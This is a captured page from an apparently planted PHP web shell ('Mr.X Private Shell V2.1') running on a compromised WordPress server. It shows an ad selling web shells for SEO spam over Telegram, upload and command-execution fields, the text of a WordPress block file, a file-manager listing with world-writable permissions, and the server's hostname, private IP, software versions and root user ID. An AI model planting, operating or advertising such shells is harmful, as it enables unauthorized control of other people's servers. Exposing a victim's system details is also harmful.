__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
<?php /** * Server-side rendering of the `core/navigation-link` block. * * @package WordPress */ /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @param array $context Navigation block context. * @param array $attributes Block attributes. * @param bool $is_sub_menu Whether the link is part of a sub-menu. * @return array Colors CSS classes and inline styles. */ function block_core_navigation_link_build_css_colors( $context, $attributes, $is_sub_menu = false ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_link_render_submenu_icon() { return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; } /** * Decodes a url if it's encoded, returning the same url if not. * * @param string $url The url to decode. * * @return string $url Returns the decoded url. */ function block_core_navigation_link_maybe_urldecode( $url ) { $is_url_encoded = false; $query = parse_url( $url, PHP_URL_QUERY ); $query_params = wp_parse_args( $query ); foreach ( $query_params as $query_param ) { if ( rawurldecode( $query_param ) !== $query_param ) { $is_url_encoded = true; break; } } if ( $is_url_encoded ) { return rawurldecode( $url ); } return $url; } /** * Renders the `core/navigation-link` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_link( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); if ( ! $post || 'publish' !== $post->post_status ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $font_sizes['css_classes'] ); $style_attribute = $font_sizes['inline_styles']; $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '<li ' . $wrapper_attributes . '>' . '<a class="wp-block-navigation-item__content" '; // Start appending HTML attributes to anchor tag. if ( isset( $attributes['url'] ) ) { $html .= ' href="' . esc_url( block_core_navigation_link_maybe_urldecode( $attributes['url'] ) ) . '"'; } if ( $is_active ) { $html .= ' aria-current="page"'; } if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) { $html .= ' target="_blank" '; } if ( isset( $attributes['rel'] ) ) { $html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"'; } elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) { $html .= ' rel="nofollow"'; } if ( isset( $attributes['title'] ) ) { $html .= ' title="' . esc_attr( $attributes['title'] ) . '"'; } // End appending HTML attributes to anchor tag. // Start anchor tag content. $html .= '>' . // Wrap title with span to isolate it from submenu icon. '<span class="wp-block-navigation-item__label">'; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= '</span>'; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= '<span class="wp-block-navigation-item__description">'; $html .= wp_kses_post( $attributes['description'] ); $html .= '</span>'; } $html .= '</a>'; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_link_render_submenu_icon() . '</span>'; } if ( $has_submenu ) { $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $html .= sprintf( '<ul class="wp-block-navigation__submenu-container">%s</ul>', $inner_blocks_html ); } $html .= '</li>'; return $html; } /** * Returns a navigation link variation * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; } if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Register the navigation link block. * * @uses render_block_core_navigation() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); // Use two separate arrays as a way to order the variations in the UI. // Known variations (like Post Link and Page Link) are added to the // `built_ins` array. Variations for custom post types and taxonomies are // added to the `variations` array and will always appear after `built-ins. $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', 'variations' => array_merge( $built_ins, $variations ), ) ); } add_action( 'init', 'register_block_core_navigation_link' );
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
archives | Folder | 0777 |
|
|
audio | Folder | 0777 |
|
|
avatar | Folder | 0777 |
|
|
block | Folder | 0777 |
|
|
button | Folder | 0777 |
|
|
buttons | Folder | 0777 |
|
|
calendar | Folder | 0777 |
|
|
categories | Folder | 0777 |
|
|
code | Folder | 0777 |
|
|
column | Folder | 0777 |
|
|
columns | Folder | 0777 |
|
|
comment-author-name | Folder | 0777 |
|
|
comment-content | Folder | 0777 |
|
|
comment-date | Folder | 0777 |
|
|
comment-edit-link | Folder | 0777 |
|
|
comment-reply-link | Folder | 0777 |
|
|
comment-template | Folder | 0777 |
|
|
comments | Folder | 0777 |
|
|
comments-pagination | Folder | 0777 |
|
|
comments-pagination-next | Folder | 0777 |
|
|
comments-pagination-numbers | Folder | 0777 |
|
|
comments-pagination-previous | Folder | 0777 |
|
|
comments-title | Folder | 0777 |
|
|
cover | Folder | 0777 |
|
|
details | Folder | 0777 |
|
|
embed | Folder | 0777 |
|
|
file | Folder | 0777 |
|
|
footnotes | Folder | 0777 |
|
|
freeform | Folder | 0777 |
|
|
gallery | Folder | 0777 |
|
|
group | Folder | 0777 |
|
|
heading | Folder | 0777 |
|
|
home-link | Folder | 0777 |
|
|
html | Folder | 0777 |
|
|
image | Folder | 0777 |
|
|
latest-comments | Folder | 0777 |
|
|
latest-posts | Folder | 0777 |
|
|
legacy-widget | Folder | 0777 |
|
|
list | Folder | 0777 |
|
|
list-item | Folder | 0777 |
|
|
loginout | Folder | 0777 |
|
|
media-text | Folder | 0777 |
|
|
missing | Folder | 0777 |
|
|
more | Folder | 0777 |
|
|
navigation | Folder | 0777 |
|
|
navigation-link | Folder | 0777 |
|
|
navigation-submenu | Folder | 0777 |
|
|
nextpage | Folder | 0777 |
|
|
page-list | Folder | 0777 |
|
|
page-list-item | Folder | 0777 |
|
|
paragraph | Folder | 0777 |
|
|
pattern | Folder | 0777 |
|
|
post-author | Folder | 0777 |
|
|
post-author-biography | Folder | 0777 |
|
|
post-author-name | Folder | 0777 |
|
|
post-comments-form | Folder | 0777 |
|
|
post-content | Folder | 0777 |
|
|
post-date | Folder | 0777 |
|
|
post-excerpt | Folder | 0777 |
|
|
post-featured-image | Folder | 0777 |
|
|
post-navigation-link | Folder | 0777 |
|
|
post-template | Folder | 0777 |
|
|
post-terms | Folder | 0777 |
|
|
post-title | Folder | 0777 |
|
|
preformatted | Folder | 0777 |
|
|
pullquote | Folder | 0777 |
|
|
query | Folder | 0777 |
|
|
query-no-results | Folder | 0777 |
|
|
query-pagination | Folder | 0777 |
|
|
query-pagination-next | Folder | 0777 |
|
|
query-pagination-numbers | Folder | 0777 |
|
|
query-pagination-previous | Folder | 0777 |
|
|
query-title | Folder | 0777 |
|
|
quote | Folder | 0777 |
|
|
read-more | Folder | 0777 |
|
|
rss | Folder | 0777 |
|
|
search | Folder | 0777 |
|
|
separator | Folder | 0777 |
|
|
shortcode | Folder | 0777 |
|
|
site-logo | Folder | 0777 |
|
|
site-tagline | Folder | 0777 |
|
|
site-title | Folder | 0777 |
|
|
social-link | Folder | 0777 |
|
|
social-links | Folder | 0777 |
|
|
spacer | Folder | 0777 |
|
|
table | Folder | 0777 |
|
|
tag-cloud | Folder | 0777 |
|
|
template-part | Folder | 0777 |
|
|
term-description | Folder | 0777 |
|
|
text-columns | Folder | 0777 |
|
|
verse | Folder | 0777 |
|
|
video | Folder | 0777 |
|
|
widget-group | Folder | 0777 |
|
|
archives.php | File | 2.89 KB | 0666 |
|
avatar.php | File | 5.56 KB | 0666 |
|
block.php | File | 1.57 KB | 0666 |
|
blocks-json.php | File | 156.18 KB | 0666 |
|
calendar.php | File | 6.03 KB | 0666 |
|
categories.php | File | 2.78 KB | 0666 |
|
comment-author-name.php | File | 2.05 KB | 0666 |
|
comment-content.php | File | 2.36 KB | 0666 |
|
comment-date.php | File | 1.56 KB | 0666 |
|
comment-edit-link.php | File | 1.64 KB | 0666 |
|
comment-reply-link.php | File | 1.99 KB | 0666 |
|
comment-template.php | File | 4.35 KB | 0666 |
|
comments-pagination-next.php | File | 1.81 KB | 0666 |
|
comments-pagination-numbers.php | File | 1.56 KB | 0666 |
|
comments-pagination-previous.php | File | 1.61 KB | 0666 |
|
comments-pagination.php | File | 1.13 KB | 0666 |
|
comments-title.php | File | 2.67 KB | 0666 |
|
comments.php | File | 6.47 KB | 0666 |
|
cover.php | File | 2.45 KB | 0666 |
|
file.php | File | 3.38 KB | 0666 |
|
footnotes.php | File | 8.69 KB | 0666 |
|
gallery.php | File | 4.85 KB | 0666 |
|
heading.php | File | 1.23 KB | 0666 |
|
home-link.php | File | 4.72 KB | 0666 |
|
image.php | File | 1.29 KB | 0666 |
|
index.php | File | 4.45 KB | 0666 |
|
latest-comments.php | File | 4.88 KB | 0666 |
|
latest-posts.php | File | 7.87 KB | 0666 |
|
legacy-widget.php | File | 3.81 KB | 0666 |
|
loginout.php | File | 1.35 KB | 0666 |
|
navigation-link.php | File | 11.65 KB | 0666 |
|
navigation-submenu.php | File | 9.18 KB | 0666 |
|
navigation.php | File | 37.5 KB | 0666 |
|
page-list-item.php | File | 342 B | 0666 |
|
page-list.php | File | 13.14 KB | 0666 |
|
pattern.php | File | 1.01 KB | 0666 |
|
post-author-biography.php | File | 1.41 KB | 0666 |
|
post-author-name.php | File | 1.71 KB | 0666 |
|
post-author.php | File | 2.51 KB | 0666 |
|
post-comments-form.php | File | 2.68 KB | 0666 |
|
post-content.php | File | 2.28 KB | 0666 |
|
post-date.php | File | 2.29 KB | 0666 |
|
post-excerpt.php | File | 3.33 KB | 0666 |
|
post-featured-image.php | File | 7.63 KB | 0666 |
|
post-navigation-link.php | File | 4.37 KB | 0666 |
|
post-template.php | File | 4.86 KB | 0666 |
|
post-terms.php | File | 3.27 KB | 0666 |
|
post-title.php | File | 2.02 KB | 0666 |
|
query-no-results.php | File | 1.76 KB | 0666 |
|
query-pagination-next.php | File | 2.9 KB | 0666 |
|
query-pagination-numbers.php | File | 3.73 KB | 0666 |
|
query-pagination-previous.php | File | 2.36 KB | 0666 |
|
query-pagination.php | File | 1.11 KB | 0666 |
|
query-title.php | File | 2.01 KB | 0666 |
|
query.php | File | 304 B | 0666 |
|
read-more.php | File | 1.75 KB | 0666 |
|
require-dynamic-blocks.php | File | 3.85 KB | 0666 |
|
require-static-blocks.php | File | 536 B | 0666 |
|
rss.php | File | 3.83 KB | 0666 |
|
search.php | File | 21.61 KB | 0666 |
|
shortcode.php | File | 697 B | 0666 |
|
site-logo.php | File | 5.79 KB | 0666 |
|
site-tagline.php | File | 994 B | 0666 |
|
site-title.php | File | 1.73 KB | 0666 |
|
social-link.php | File | 59.13 KB | 0666 |
|
tag-cloud.php | File | 1.37 KB | 0666 |
|
template-part.php | File | 9.77 KB | 0666 |
|
term-description.php | File | 1.27 KB | 0666 |
|
widget-group.php | File | 2.12 KB | 0666 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.49 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018